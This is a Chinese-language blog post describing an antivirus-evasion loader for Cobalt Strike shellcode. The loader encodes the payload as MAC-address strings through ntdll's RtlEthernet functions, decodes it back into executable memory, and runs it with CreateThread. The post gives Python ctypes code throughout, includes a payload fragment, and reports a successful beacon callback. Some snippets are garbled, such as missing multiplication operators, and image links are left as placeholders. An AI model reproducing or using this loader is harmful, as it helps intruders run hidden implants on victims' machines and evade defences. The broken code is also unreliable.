前言
前不久,我研究了 UUID 加载器《CS 免杀-UUID 写入内存(Python)》,对其加载方式印象深刻。这种方法利用 API 函数将 UUID 转换为二进制并写入内存,让我颇感兴趣。
在探索过程中,我突发奇想,是否有其他类似的 API 函数可以实现相似功能。于是,我翻阅开发手册,搜索了一番与 “to a binary” 相关的内容。
![API 函数搜索结果](insert image link here)
意外地发现了两个函数:RtlEthernetStringToAddressA 和 RtlEthernetAddressToStringA。这两个函数可以操作 MAC 地址,将 MAC 地址字符串转换为二进制并写入内存,于是便有了本文的诞生。
MAC 是什么?
MAC 地址又称为物理地址或硬件地址,它是由网络设备制造商在生产时烧录在网卡的一种闪存芯片中。通常情况下,可以通过程序进行擦写。在计算机中,IP 地址和 MAC 地址都是以二进制形式表示的。IP 地址是 32 位,而 MAC 地址是 48 位(6 个字节)。
转换 MAC
RtlEthernetAddressToStringA 函数
RtlEthernetAddressToStringA 是 ntdll.dll 库中的函数,用于将 MAC 地址的二进制格式转换为字符串表示。
函数原型:
NTSYSAPI PSTR RtlEthernetAddressToStringA(
const DL_EUI48 *Addr,
PSTR S
);
![RtlEthernetAddressToStringA 函数](insert image link here)
通过此函数,可以将二进制转换为 MAC 格式的字符串。需要注意的是,每 6 个字节转换为一个 MAC 值,其中 \x00 占据一个字节。当剩余字节数不足 6 个时,需要通过添加 \x00 补充字节数,以确保将整个 Shellcode 转换为 MAC 值。
在转换之前,需要准备一块内存来接收 MAC 值。由于转换后每个 MAC 值由 6 个字节转换为了 17 个字节,因此需要计算内存大小。
shellcode = b’\xfc\x48\x83\xe4…’
macmem = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/6*17, 0x3000, 0x40)
然后,每隔六个字节进行一次转换,同时内存地址递增 17。
for i in range(len(shellcode)/6):
bytes_a = shellcode[i6:6+i6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
可以通过查看内存中的值,验证是否以 MAC 字符串形式存在。
a = ctypes.string_at(macmem, len(shellcode)*3-1)
print(a)
转换为 MAC 字符串后,可以进一步转换为列表,或者将其复制到服务器以进行远程加载。
mac_list = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17, 17)
mac_list.append(d)
print(mac_list)
MAC 写入内存
在将 Shellcode 转换为 MAC 并放入列表后,接下来是将其写入内存。
import ctypes
mac_list = [‘FC-48-83-E4-F0-E8’, ‘C8-00-00-00-41-51′, ’41-50-52-51-56-48′, ’31-D2-65-48-8B-52’, ’60-48-8B-52-18-48’……]
RtlEthernetStringToAddressA 函数
RtlEthernetStringToAddressA 是 ntdll.dll 库中的函数,用于将 MAC 值从字符串形式转换为二进制格式。
函数原型:
NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
PCSTR S,
PCSTR *Terminator,
DL_EUI48 *Addr
);
![RtlEthernetStringToAddressA 函数](insert image link here)
该函数的第一、二个参数传入 MAC 值,第三个参数传入接收的内存指针。
for mac in mac_list:
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac, mac, ptr)
ptr += 6
然后,创建线程并运行即可。
ctypes.windll.kernel32.VirtualProtect(ptr, len(mac_list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
测试
在 Python 2.7 环境中,使用 CS 生成的 64 位 Shellcode 进行测试。
成功上线。虽然我没有进行免杀测试,但这主要是为了研究目的。
暂无评论内容